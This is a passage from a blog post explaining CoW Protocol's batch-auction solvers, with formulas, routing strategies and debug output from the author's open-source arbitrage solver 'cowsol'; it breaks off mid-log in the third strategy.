href="https://dune.com/cowprotocol/GPv2-Solver-Info">solvers info</a></p></li></ul><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/abc9a3375e7501fb32b4cf4cca97bdce931211be481240774b728c1a86ee920c.png" alt="a snapshot of CoW swap&apos;s yearly volume" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">a snapshot of CoW swap&apos;s yearly volume</figcaption></figure><p>let’s conclude this section by looking at some numbers: batches with a large percentage of cow trades (<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://explorer.cow.fi/tx/0x0b807a92ff8c411e8951e74529afea43a494d760448fc4c41993c736292fae04?tab=graph"><strong>like this one</strong></a>), batches with very large volumes (<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://explorer.cow.fi/tx/0x1f1138ecd6e725204ebf160bda9497f1a0aa7a44eba974cdad4f74b79c27a6a1?tab=graph"><strong>like this one</strong></a>), and batches with very large surplus for users (<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://explorer.cow.fi/tx/0x9c5b29a32a371f29865c31e82d172db9d16e3756e0ab8985f7c227d72d72c9f8/?tab=graph"><strong>like this one</strong></a>).</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/9f165c109242bd6453b341c7bb760da314c627cff199e7a26244ace97f6a1858.png" alt="a batch with volume of $14mil, by a trader swapping stETH to WETH." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">a batch with volume of $14mil, by a trader swapping stETH to WETH.</figcaption></figure><blockquote><p>💡 <em>because cow protocol moves settlement to the application layer, transactions can be inspected in their explorer at </em><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://explorer.cow.fi/"><em>explorer.cow.fi</em></a><em>.</em></p></blockquote><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/515eb5e4267780e3d263d8126c981fdd1ecbdc202aa181de1e55c92bf7ee3fd3.png" alt=" batch volume of $1.3 mil, by a trader swapping USDC to WETH,  creating the largest surplus for september 2022: 37.7 ETH or a 5.25% surplus." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">batch volume of $1.3 mil, by a trader swapping USDC to WETH, creating the largest surplus for september 2022: 37.7 ETH or a 5.25% surplus.</figcaption></figure><hr><h2 id="h-piece-3-solvers" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">🐮🧩 piece #3: solvers</h2><blockquote><p>💡 <em>in the cow protocol, multiple and independent </em><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.cow.fi/off-chain-services/solvers"><em>solvers</em></a><em> compete for finding the best solution to the batch auction problem (serving as matching engines that find the best execution paths for users).</em></p></blockquote><h3 id="h-for-me-this-is-the-killing-part" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">⚖️✨ for me, this is the killing part.</h3><p>an option to having the mev your transaction generates shared among the same old players or established firms, with cow protocol the solver role is outsourced to anyone who can prove they can do the job smartly (as opposed to knowing someone inside).</p><p>every few seconds, a <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://forum.cow.fi/t/aligning-the-solver-competition-with-the-goals-of-the-cow-dao/1177">competition</a> round gives solvers the chance to find a solution and be <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/cowprotocol/solver-rewards">rewarded</a> for a batch reflecting the most recent orderbook state.</p><p>the winner is the one that maximizes the trade surplus by either 1) having the most optimal cow, 2) finding the best liquidity sources, or 3) combining both in settlement (taking into account total collected fees and execution cost).</p><p>are you up for the challenge, anon?</p><h3 id="h-orders" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">orders</h3><p>in the cow protocol, <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.cow.fi/smart-contracts/settlement-contract">user orders</a> are <code>JSON</code> files that describe trader intent (plus some trade metadata):</p><ul><li><p><code>sell_token</code>: token to be sold</p></li><li><p><code>buy_token</code>: token to be bought</p></li><li><p><code>sell_amount</code>: limit amount for tokens to be sold</p></li><li><p><code>buy_amount</code>: limit amount for tokens to be bought</p></li><li><p><code>is_sell_order</code>: if it&apos;s sell or buy order (order kind)</p></li><li><p><code>allow_partial_fill</code>: if <code>False</code>, only fill-or-kill orders are executed</p></li></ul><p>currently, cow swap only accepts limit orders.</p><blockquote><p>💡 <em>A limit order is an order to buy or sell with a restriction on the maximum price to be paid or the minimum price to be received (the &quot;limit price&quot;).</em></p></blockquote><p>this limit determines when an order can be executed:</p><pre data-type="codeBlock" text="limit price = sell amount / buy amount 
            &gt;= executed buy amount / executed sell amount
"><code>limit price <span class="hljs-operator">=</span> sell amount <span class="hljs-operator">/</span> buy amount 
            <span class="hljs-operator">></span><span class="hljs-operator">=</span> executed buy amount <span class="hljs-operator">/</span> executed sell amount
</code></pre><p>for instance, a limit SELL order is specified by a maximum sell amount (the maximum amount that the user is willing to sell).</p><blockquote><p>💡 <em>a good rule of thumb is that the </em><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.paradigm.xyz/2021/04/understanding-automated-market-makers-part-1-price-impact"><em>price impact</em></a><em> of your order is about twice the size of your order relative to the pool.</em></p></blockquote><h3 id="h-surplus" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">surplus</h3><p>for multiple execution paths (reserves) the best solution can be found in maximizing the <strong>surplus</strong> of an order:</p><pre data-type="codeBlock" text="surplus = exec buy amount  - ( exec sell amount / limit price )
"><code>surplus = <span class="hljs-built_in">exec</span> buy amount  - ( <span class="hljs-built_in">exec</span> sell amount / <span class="hljs-built_in">limit</span> price )
</code></pre><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/2b505eb513b29ac8006ac3a6e04080569057217041be14ae9a8f2a65b06ef92a.png" alt="https://dune.com/cryptok/cow.fi" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">https://dune.com/cryptok/cow.fi</figcaption></figure><h3 id="h-okay-now-that-we-understand-the-protocol-lets-look-at-our-proof-of-concept-solver-cowsol" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">🕹 okay, now that we understand the protocol, let’s look at our proof-of-concept solver, cowsol.</h3><p>(the full source is open-sourced at my <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/MEV-WAIFU-LABS/cow_arbitrage_solver">github</a>)</p><hr><h2 id="h-piece-4-cowsol-the-arber" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">🐮🧩 piece #4: cowsol, the arber</h2><p>here is the basic gist:</p><p>we start with a <code>JSON</code> with an order that needs to be solved, it contains a <code>dict</code> for <code>orders</code> and a dict for <code>amms</code> reserves, like this one:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/33468240961dd323d84b174fe00a33258f2fe667837f42b45488c40947d655eb.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>cowsol parses the order data and starts searching for a solution to fill these orders. for the order above, this would be the solution:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/1730e54934065afe0e3bd316cf843533544019686ed4f80ba5843d3f6fd68d90.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><h3 id="h-of-course-it-can-get-very-complicated-with-edge-cases-and-harder-optimization-requirements-this-is-the-beauty-of-the-problem-that-you-need-to-solve-nobody-is-going-to-tell-you-their-solution-thats-how-this-game-works" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">🌝 of course, it can get very complicated with edge cases and harder optimization requirements. this is the beauty of the problem that you need to solve. nobody is going to tell you their solution, that’s how this game works.</h3><p>by the way, for the order above, a simple algorithm for multidimensional unconstrained optimization without derivatives would suffice (of course, someone can always come up with an even faster very simple solution).</p><h3 id="h-no-free-lunch-anon" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">🍕 no free lunch, anon.</h3><hr><h3 id="h-strategy-1-one-leg-limit-price-trade" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">strategy #1: one-leg limit price trade</h3><p>okay, let’s talk a little more about cowsol’s main strategies. we shall start with the simplest type.</p><p>we are developing solutions for (“no-market-maker”) spread arbitrage on uniswap v2 pools (and its forks). for a review of how uniswap v2 arbitrage works, check my other tool, <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/MEV-WAIFU-LABS/amm_arbitrage_toolkit">bdex</a>. i will assume you are familiar with constant-product amms.</p><blockquote><p>💡 <em>spread trades are the act of purchasing one security and selling another related security (legs) as a unit.</em></p></blockquote><p>cowsol’s first strategy is very simple and straightforward, we solve for just one pool reserve, without intermediate tokens (just one leg):</p><pre data-type="codeBlock" text="STRATEGY 1: buy || sell token A ↠ sell || buy token C
"><code>STRATEGY <span class="hljs-number">1</span>: buy <span class="hljs-operator">|</span><span class="hljs-operator">|</span> sell token A ↠ sell <span class="hljs-operator">|</span><span class="hljs-operator">|</span> buy token C
</code></pre><p>in pictures, we want to solve this type of input orders instance:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/7b7ce15ae46fe91d22c04369182d0c661f6f6a835777a440054c1b4210675209.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>cowsol’s entry point would:</p><ol><li><p>load such <code>JSON</code> order</p></li><li><p>create an instance of the <code>OrderApi</code> class and then for each order in the batch:</p><ol><li><p>parse the <code>order</code> and the <code>amms</code> dicts to a suitable in-memory format</p></li><li><p>create an instance of <code>SpreadSolverApi</code> and run <code>solve()</code> for the order, which will call <code>ConstantProductAmmApi.</code></p></li></ol></li><li><p>save the solution to <code>JSON</code></p></li></ol><p>so, what the <code>OrderApi</code> class does? it pretty much looks at what type of order being input (for example, in this case, <code>one-leg-trade</code>), and then it makes sure all the data is valid and ready to go.</p><p>as you could guess, the hot stuff happens inside <code>SpreadSolverApi</code>. the public method <code>solver()</code> takes the order type and run the appropriate strategy (<code>one-leg-trade</code>, <code>two-legs-trade</code>, etc.) for each pool reserve pairs from the given <code>amms</code> dict:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/8834a5d89891d507fad1ada973213b7015dc51714e54ce0dd4e42cd0f632adf6.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>every strategy follows the same high-level route, calling <code>ConstantProductAmmApi</code> (which implements how uniswap v2 trades) to retrieve the constant product resulting data and surplus for the order:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/1de35b98ea682cce2e25d756e9bd2578233fc78a1086680bfe4b8e6c8b6e4d2f.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>what exact information does <code>ConstantProductAmmApi</code> calculate?</p><p>first, it finds the executed sell or buy amount, which is derived by the constant-product amm equation and represents the retrieval of tokens B from selling an amount <code>t</code> of tokens A in an <code>a*b</code> pool reserve:</p><pre data-type="codeBlock" text="δ    ≤    (b − a * b) / (a + t)    
     =    (b * t) / (a + t)
"><code>δ    ≤    (b − a <span class="hljs-operator">*</span> b) <span class="hljs-operator">/</span> (a <span class="hljs-operator">+</span> t)    
     <span class="hljs-operator">=</span>    (b <span class="hljs-operator">*</span> t) <span class="hljs-operator">/</span> (a <span class="hljs-operator">+</span> t)
</code></pre><p>from there, one can calculate other stuff such as prices, surplus, exchange rates, etc.</p><p>the <code>JSON</code> solution for the order above is:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/0de613ac249a974a871f06f653bb9074481e35429780f609aad6bf637f3f4674.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>if you run cowsol CLI in <code>DEBUG</code> mode, this is what you would see:</p><pre data-type="codeBlock" text="🐮 Solving orders/instance_1.json.
🐮 Order 0 is a sell order.
🐮 One-leg trade overview:
🐮 ➖ sell 1000_000000000000000000 of A, amm reserve: 10000_000000000000000000
🐮 ➕ buy 900_000000000000000000 of C, amm reserve: 10000_000000000000000000
🟨   Prior sell reserve: 10000_000000000000000000
🟨   Prior buy reserve: 10000_000000000000000000
🟨   Spot sell price 1.0
🟨   Spot buy price 1.0
🟨   AMM exec sell amount: 1000_000000000000000000
🟨   AMM exec buy amount: 909_090909090909090909
🟨   Updated sell reserve: 11000_000000000000000000
🟨   Updated buy reserve: 9090_909090909090909091
🟨   Market sell price 1.21
🟨   Market buy price 0.8264462809917356
🟨   Can fill: True
🐮 TOTAL SURPLUS: 9_090909090909090909
🐮 Results saved at solutions/solution_1_cowsol.json.
"><code><span class="hljs-string">🐮</span> <span class="hljs-string">Solving</span> <span class="hljs-string">orders/instance_1.json.</span>
<span class="hljs-string">🐮</span> <span class="hljs-string">Order</span> <span class="hljs-number">0</span> <span class="hljs-string">is</span> <span class="hljs-string">a</span> <span class="hljs-string">sell</span> <span class="hljs-string">order.</span>
<span class="hljs-string">🐮</span> <span class="hljs-attr">One-leg trade overview:</span>
<span class="hljs-string">🐮</span> <span class="hljs-string">➖</span> <span class="hljs-string">sell</span> <span class="hljs-string">1000_000000000000000000</span> <span class="hljs-string">of</span> <span class="hljs-string">A,</span> <span class="hljs-attr">amm reserve:</span> <span class="hljs-string">10000_000000000000000000</span>
<span class="hljs-string">🐮</span> <span class="hljs-string">➕</span> <span class="hljs-string">buy</span> <span class="hljs-string">900_000000000000000000</span> <span class="hljs-string">of</span> <span class="hljs-string">C,</span> <span class="hljs-attr">amm reserve:</span> <span class="hljs-string">10000_000000000000000000</span>
<span class="hljs-string">🟨</span>   <span class="hljs-attr">Prior sell reserve:</span> <span class="hljs-string">10000_000000000000000000</span>
<span class="hljs-string">🟨</span>   <span class="hljs-attr">Prior buy reserve:</span> <span class="hljs-string">10000_000000000000000000</span>
<span class="hljs-string">🟨</span>   <span class="hljs-string">Spot</span> <span class="hljs-string">sell</span> <span class="hljs-string">price</span> <span class="hljs-number">1.0</span>
<span class="hljs-string">🟨</span>   <span class="hljs-string">Spot</span> <span class="hljs-string">buy</span> <span class="hljs-string">price</span> <span class="hljs-number">1.0</span>
<span class="hljs-string">🟨</span>   <span class="hljs-attr">AMM exec sell amount:</span> <span class="hljs-string">1000_000000000000000000</span>
<span class="hljs-string">🟨</span>   <span class="hljs-attr">AMM exec buy amount:</span> <span class="hljs-string">909_090909090909090909</span>
<span class="hljs-string">🟨</span>   <span class="hljs-attr">Updated sell reserve:</span> <span class="hljs-string">11000_000000000000000000</span>
<span class="hljs-string">🟨</span>   <span class="hljs-attr">Updated buy reserve:</span> <span class="hljs-string">9090_909090909090909091</span>
<span class="hljs-string">🟨</span>   <span class="hljs-string">Market</span> <span class="hljs-string">sell</span> <span class="hljs-string">price</span> <span class="hljs-number">1.21</span>
<span class="hljs-string">🟨</span>   <span class="hljs-string">Market</span> <span class="hljs-string">buy</span> <span class="hljs-string">price</span> <span class="hljs-number">0.8264462809917356</span>
<span class="hljs-string">🟨</span>   <span class="hljs-attr">Can fill:</span> <span class="hljs-literal">True</span>
<span class="hljs-string">🐮</span> <span class="hljs-attr">TOTAL SURPLUS:</span> <span class="hljs-string">9_090909090909090909</span>
<span class="hljs-string">🐮</span> <span class="hljs-string">Results</span> <span class="hljs-string">saved</span> <span class="hljs-string">at</span> <span class="hljs-string">solutions/solution_1_cowsol.json.</span>
</code></pre><hr><h3 id="h-strategy-2-two-legged-limit-price-trade-for-a-single-execution-path" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">strategy #2: two-legged limit price trade for a single execution path</h3><p>now, imagine a user order with a two-legged trade (<em>e.g.</em>, <code>A -&gt; B -&gt; C</code>), with only one option for each leg, so that it can be solved without optimization.</p><pre data-type="codeBlock" text="STRATEGY 2: buy || sell token A ↠ sell || buy token B ↠ buy || sell token C
"><code>STRATEGY <span class="hljs-number">2</span>: buy <span class="hljs-operator">|</span><span class="hljs-operator">|</span> sell token A ↠ sell <span class="hljs-operator">|</span><span class="hljs-operator">|</span> buy token B ↠ buy <span class="hljs-operator">|</span><span class="hljs-operator">|</span> sell token C
</code></pre><p>here is an example of this type of input order instance:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/01e3d0d45969478a5cb4a8b1ea7ce6395ef9a7a7b63288e6501aefd41ec9d38a.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>this is another very straightforward order. the solver needs to calculate the data for the first leg, update the input data for the second leg, calculate the data for the second, and return the results:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/ab2b769a403f10e1caaa8f40010048640d1c6d17ac45304119300aeee3e682f3.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><pre data-type="codeBlock" text="This would be the solution for the input order instance above:
"><code>This would be the solution for the <span class="hljs-selector-tag">input</span> <span class="hljs-attribute">order</span> instance above:
</code></pre><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/3cddfd9a0a6cc7c731f148bc309212e5c1e1fffb4b97569250cb66ac78d5310a.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>and if you are running cowsol CLI on <code>DEBUG</code> mode, you would see:</p><pre data-type="codeBlock" text="🐮 Solving orders/instance_2.json.
🐮 Order 0 is a sell order.
🐮 FIRST LEG trade overview:
🐮 ➖ sell 1000_000000000000000000 of A
🐮 ➕ buy some amount of B2
🟨   Prior sell reserve: 10000_000000000000000000
🟨   Prior buy reserve: 20000_000000000000000000
🟨   Spot sell price 0.5
🟨   Spot buy price 2.0
🟨   AMM exec sell amount: 1000_000000000000000000
🟨   AMM exec buy amount: 1818_181818181818181818
🟨   Updated sell reserve: 11000_000000000000000000
🟨   Updated buy reserve: 18181_818181818181818180
🟨   Market sell price 0.605
🟨   Market buy price 1.6528925619834711
🟨   Can fill: True
🐮 SECOND LEG trade overview:
🐮 ➖ sell 1818_181818181818181818 of B2
🐮 ➕ buy some amount of C
🟨   Prior sell reserve: 15000_000000000000000000
🟨   Prior buy reserve: 10000_000000000000000000
🟨   Spot sell price 1.5
🟨   Spot buy price 0.6666666666666666
🟨   AMM exec sell amount: 1818_181818181818181818
🟨   AMM exec buy amount: 1081_081081081081081081
🟨   Updated sell reserve: 16818_181818181818181820
🟨   Updated buy reserve: 8918_918918918918918919
🟨   Market sell price 1.8856749311294765
🟨   Market buy price 0.5303140978816655
🟨   Can fill: True
🐮 TOTAL SURPLUS: 181_081081081081081081
🐮 Results saved at solutions/solution_2_cowsol.json.
"><code><span class="hljs-string">🐮</span> <span class="hljs-string">Solving</span> <span class="hljs-string">orders/instance_2.json.</span>
<span class="hljs-string">🐮</span> <span class="hljs-string">Order</span> <span class="hljs-number">0</span> <span class="hljs-string">is</span> <span class="hljs-string">a</span> <span class="hljs-string">sell</span> <span class="hljs-string">order.</span>
<span class="hljs-string">🐮</span> <span class="hljs-attr">FIRST LEG trade overview:</span>
<span class="hljs-string">🐮</span> <span class="hljs-string">➖</span> <span class="hljs-string">sell</span> <span class="hljs-string">1000_000000000000000000</span> <span class="hljs-string">of</span> <span class="hljs-string">A</span>
<span class="hljs-string">🐮</span> <span class="hljs-string">➕</span> <span class="hljs-string">buy</span> <span class="hljs-string">some</span> <span class="hljs-string">amount</span> <span class="hljs-string">of</span> <span class="hljs-string">B2</span>
<span class="hljs-string">🟨</span>   <span class="hljs-attr">Prior sell reserve:</span> <span class="hljs-string">10000_000000000000000000</span>
<span class="hljs-string">🟨</span>   <span class="hljs-attr">Prior buy reserve:</span> <span class="hljs-string">20000_000000000000000000</span>
<span class="hljs-string">🟨</span>   <span class="hljs-string">Spot</span> <span class="hljs-string">sell</span> <span class="hljs-string">price</span> <span class="hljs-number">0.5</span>
<span class="hljs-string">🟨</span>   <span class="hljs-string">Spot</span> <span class="hljs-string">buy</span> <span class="hljs-string">price</span> <span class="hljs-number">2.0</span>
<span class="hljs-string">🟨</span>   <span class="hljs-attr">AMM exec sell amount:</span> <span class="hljs-string">1000_000000000000000000</span>
<span class="hljs-string">🟨</span>   <span class="hljs-attr">AMM exec buy amount:</span> <span class="hljs-string">1818_181818181818181818</span>
<span class="hljs-string">🟨</span>   <span class="hljs-attr">Updated sell reserve:</span> <span class="hljs-string">11000_000000000000000000</span>
<span class="hljs-string">🟨</span>   <span class="hljs-attr">Updated buy reserve:</span> <span class="hljs-string">18181_818181818181818180</span>
<span class="hljs-string">🟨</span>   <span class="hljs-string">Market</span> <span class="hljs-string">sell</span> <span class="hljs-string">price</span> <span class="hljs-number">0.605</span>
<span class="hljs-string">🟨</span>   <span class="hljs-string">Market</span> <span class="hljs-string">buy</span> <span class="hljs-string">price</span> <span class="hljs-number">1.6528925619834711</span>
<span class="hljs-string">🟨</span>   <span class="hljs-attr">Can fill:</span> <span class="hljs-literal">True</span>
<span class="hljs-string">🐮</span> <span class="hljs-attr">SECOND LEG trade overview:</span>
<span class="hljs-string">🐮</span> <span class="hljs-string">➖</span> <span class="hljs-string">sell</span> <span class="hljs-string">1818_181818181818181818</span> <span class="hljs-string">of</span> <span class="hljs-string">B2</span>
<span class="hljs-string">🐮</span> <span class="hljs-string">➕</span> <span class="hljs-string">buy</span> <span class="hljs-string">some</span> <span class="hljs-string">amount</span> <span class="hljs-string">of</span> <span class="hljs-string">C</span>
<span class="hljs-string">🟨</span>   <span class="hljs-attr">Prior sell reserve:</span> <span class="hljs-string">15000_000000000000000000</span>
<span class="hljs-string">🟨</span>   <span class="hljs-attr">Prior buy reserve:</span> <span class="hljs-string">10000_000000000000000000</span>
<span class="hljs-string">🟨</span>   <span class="hljs-string">Spot</span> <span class="hljs-string">sell</span> <span class="hljs-string">price</span> <span class="hljs-number">1.5</span>
<span class="hljs-string">🟨</span>   <span class="hljs-string">Spot</span> <span class="hljs-string">buy</span> <span class="hljs-string">price</span> <span class="hljs-number">0.6666666666666666</span>
<span class="hljs-string">🟨</span>   <span class="hljs-attr">AMM exec sell amount:</span> <span class="hljs-string">1818_181818181818181818</span>
<span class="hljs-string">🟨</span>   <span class="hljs-attr">AMM exec buy amount:</span> <span class="hljs-string">1081_081081081081081081</span>
<span class="hljs-string">🟨</span>   <span class="hljs-attr">Updated sell reserve:</span> <span class="hljs-string">16818_181818181818181820</span>
<span class="hljs-string">🟨</span>   <span class="hljs-attr">Updated buy reserve:</span> <span class="hljs-string">8918_918918918918918919</span>
<span class="hljs-string">🟨</span>   <span class="hljs-string">Market</span> <span class="hljs-string">sell</span> <span class="hljs-string">price</span> <span class="hljs-number">1.8856749311294765</span>
<span class="hljs-string">🟨</span>   <span class="hljs-string">Market</span> <span class="hljs-string">buy</span> <span class="hljs-string">price</span> <span class="hljs-number">0.5303140978816655</span>
<span class="hljs-string">🟨</span>   <span class="hljs-attr">Can fill:</span> <span class="hljs-literal">True</span>
<span class="hljs-string">🐮</span> <span class="hljs-attr">TOTAL SURPLUS:</span> <span class="hljs-string">181_081081081081081081</span>
<span class="hljs-string">🐮</span> <span class="hljs-string">Results</span> <span class="hljs-string">saved</span> <span class="hljs-string">at</span> <span class="hljs-string">solutions/solution_2_cowsol.json.</span>
</code></pre><hr><h3 id="h-strategy-3-two-legged-limit-price-trade-for-multiple-execution-paths" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">strategy #3: two-legged limit price trade for multiple execution paths</h3><p>in this third type of order, cowsol needs to solve for two-legged trades (<em>e.g.</em>, <code>A -&gt; Bi -&gt; C</code>), with multiple pool reserves for each leg (<code>B1</code>, <code>B2</code>, <code>B3</code>,…), so that the order is completed by dividing it through multiple paths and optimizing for maximum total surplus.</p><pre data-type="codeBlock" text="STRATEGY 3: buy or sell token A ↠ sell or buy tokens Bi, i E [1,∞] ↠ buy or sell token C
"><code><span class="hljs-selector-tag">STRATEGY</span> <span class="hljs-number">3</span>: <span class="hljs-selector-tag">buy</span> <span class="hljs-selector-tag">or</span> <span class="hljs-selector-tag">sell</span> <span class="hljs-selector-tag">token</span> <span class="hljs-selector-tag">A</span> ↠ <span class="hljs-selector-tag">sell</span> <span class="hljs-selector-tag">or</span> <span class="hljs-selector-tag">buy</span> <span class="hljs-selector-tag">tokens</span> <span class="hljs-selector-tag">Bi</span>, <span class="hljs-selector-tag">i</span> <span class="hljs-selector-tag">E</span> <span class="hljs-selector-attr">[1,∞]</span> ↠ <span class="hljs-selector-tag">buy</span> <span class="hljs-selector-tag">or</span> <span class="hljs-selector-tag">sell</span> <span class="hljs-selector-tag">token</span> <span class="hljs-selector-tag">C</span>
</code></pre><p>here is an example of such an order:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/1a80895c9885f475a323db2aeb6409c0b2dbade290f4970a46f250d1e55d0f61.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>let’s look at how <code>solve()</code> would deal with this order:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/09182400eb2f2a799a3459cb4dc9123ccf9f18f12a21ce2e012a474dd4eb5794.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>for this simple case, this solution can be settled by a simple algorithm for scalar multidimensional unconstrained optimization, such as <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://en.wikipedia.org/wiki/Nelder%E2%80%93Mead_method">nelder-mead</a>:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/bcba3b5e6b25362d7aad50be782f78770b52b2651efa82c2ed42abdac5cfee52.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>such that the solution <code>JSON</code> would look like:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/aaaf039125e4394efe9e23bd1c4419a737bf10d69596374818d7bad2a2188ea4.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>and if you are running cowsol cli on <code>DEBUG</code> mode:</p><pre data-type="codeBlock" text="🐮 Solving orders/instance_3.json.
🐮 Order 0 is a sell order.
🐮 Using the best two execution simulations by surplus yield.
🐮 FIRST LEG trade overview:
🐮 ➖ sell 289_073705673240477696 of A
🐮 ➕ buy some amount of B1
🟨   Prior sell reserve: 10000_000000000000000000
🟨   Prior buy reserve: 20000_000000000000000000
🟨   Spot sell price 0.5
🟨   Spot buy price 2.0
